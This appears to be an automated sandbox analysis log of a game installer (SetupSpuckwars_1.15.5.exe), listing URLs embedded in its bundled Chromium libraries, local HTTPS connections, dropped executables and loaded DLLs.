Source: SetupSpuckwars_1.15.5.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://alekberg.net/privacy
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://alekberg.net/privacyalekberg.net
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/4674
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/4849
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/5140
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/5536
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/5845
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7161
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7162
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7246
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7246enableCaptureLimitsSet
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7308
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7319
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7320
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7369
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7382
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7405
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7489
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7604
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7714
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7763
Source: libGLESv2.dll.0.drString found in binary or memory: https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=107106
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chrome-devtools-frontend.appspot.com/
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebC
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chrome.cloudflare-dns.com/dns-query
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chrome.cloudflare-dns.com/dns-queryone.one.one.one1dot1dot1dot1.cloudflare-dns.com1.1.1.11.0
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://chrome.google.com/webstore/category/extensions
Source: fr.pak.0.drString found in binary or memory: https://chrome.google.com/webstore?hl=fr&category=theme81https://myactivity.google.com/myactivity/?u
Source: fr.pak.0.drString found in binary or memory: https://chrome.google.com/webstore?hl=frRaccourci
Source: zh-CN.pak.0.drString found in binary or memory: https://chrome.google.com/webstore?hl=zh-CN
Source: zh-CN.pak.0.drString found in binary or memory: https://chrome.google.com/webstore?hl=zh-CN&category=theme81https://myactivity.google.com/myactivity
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherEnabled
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlGreylist
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlList
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUseIeSitelist
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chromium.dns.nextdns.io
Source: libGLESv2.dll.0.drString found in binary or memory: https://chromium.googlesource.com/angle/angle/
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://cleanbrowsing.org/privacy
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://cleanbrowsing.org/privacyCleanBrowsing
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1042393
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1046462
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1060012
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1091824
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1137851
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1300575
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/593024
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/593024selectViewInGeometryShaderThe
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/650547
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/650547callClearTwiceUsing
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/655534
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/655534useSystemMemoryForConstantBuffersCopying
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/705865
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/710443
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/811661
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/848952
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/Cloudflare
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacy
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacyGoogle
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.google/dns-query
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.quad9.net/dns-query
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.quad9.net/dns-querydns.quad9.netdns9.quad9.net9.9.9.9149.112.112.1122620:fe::fe2620:fe::
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.sb/privacy/
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.sb/privacy/DNS.SBhttps://doh.dns.sb/dns-query
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns10.quad9.net/dns-query
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns10.quad9.net/dns-querydns10.quad9.net9.9.9.10149.112.112.102620:fe::102620:fe::fe:10
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns11.quad9.net/dns-query
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11Pd
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns64.dns.google/dns-query
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dnsnl.alekberg.net/dns-query
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh-01.spectrum.com/dns-query
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh-02.spectrum.com/dns-query
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/adult-filter
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/family-filter
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/security-filter
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cox.net/dns-query
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cox.net/dns-querydot.cox.net68.105.28.1168.105.28.122001:578:3f::30
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.dns.sb/dns-query
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.familyshield.opendns.com/dns-query
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.opendns.com/dns-query
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.quickline.ch/dns-query
Source: spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.xfinity.com/dns-query
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/161903006
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/166809097
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/184850002
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/187425444
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/220069903
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/220069903emulatePixelLocalStorageEmulate
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/229267970
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/250706693
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/253522366
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://myactivity.google.com/
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://nextdns.io/privacy
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://odvr.nic.cz/doh
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://odvr.nic.cz/dohodvr.nic.cz185.43.135.1193.17.47.12001:148f:fffe::12001:148f:ffff::1
Source: fr.pak.0.drString found in binary or memory: https://passwords.google.comCompte
Source: zh-CN.pak.0.drString found in binary or memory: https://passwords.google.comGoogle
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).No
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://policies.google.com/
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://public.dns.iij.jp/
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://public.dns.iij.jp/IIJ
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://public.dns.iij.jp/dns-query
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://public.dns.iij.jp/dns-queryIijUShttps://nextdns.io/privacyNextDNShttps://chromium.dns.nextdn
Source: fr.pak.0.drString found in binary or memory: https://support.google.com/chrome/a/?p=block_warn
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://support.google.com/chrome/answer/6098869
Source: zh-CN.pak.0.dr, fr.pak.0.drString found in binary or memory: https://support.google.com/chromebook?p=app_intent
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.cisco.com/c/en/us/about/legal/privacy-full.html
Source: zh-CN.pak.0.drString found in binary or memory: https://www.google.com/chrome/privacy/eula_text.html
Source: fr.pak.0.drString found in binary or memory: https://www.google.com/chrome/privacy/eula_text.htmlG
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.nic.cz/odvr/
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.nic.cz/odvr/CZ.NIC
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/Quad9
Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745

System Summary

barindex
Drops large PE files
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile dump: spuckwars.exe.0.dr 162028032Jump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile dump: spuckwars.exe0.0.dr 162028032Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile dump: spuckwars.exe.6.dr 162028032Jump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess token adjusted: SecurityJump to behavior
Source: spuckwars.exe.6.drStatic PE information: Number of sections : 16 > 10
Source: libEGL.dll.0.drStatic PE information: Number of sections : 12 > 10
Source: libGLESv2.dll.0.drStatic PE information: Number of sections : 12 > 10
Source: spuckwars.exe.0.drStatic PE information: Number of sections : 16 > 10
Source: vk_swiftshader.dll.0.drStatic PE information: Number of sections : 12 > 10
Source: libGLESv2.dll0.0.drStatic PE information: Number of sections : 12 > 10
Source: vulkan-1.dll.0.drStatic PE information: Number of sections : 12 > 10
Source: spuckwars.exe0.0.drStatic PE information: Number of sections : 16 > 10
Source: libEGL.dll0.0.drStatic PE information: Number of sections : 12 > 10
Source: ffmpeg.dll0.0.drStatic PE information: Number of sections : 11 > 10
Source: ffmpeg.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: ntshrui.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kbdus.dllJump to behavior
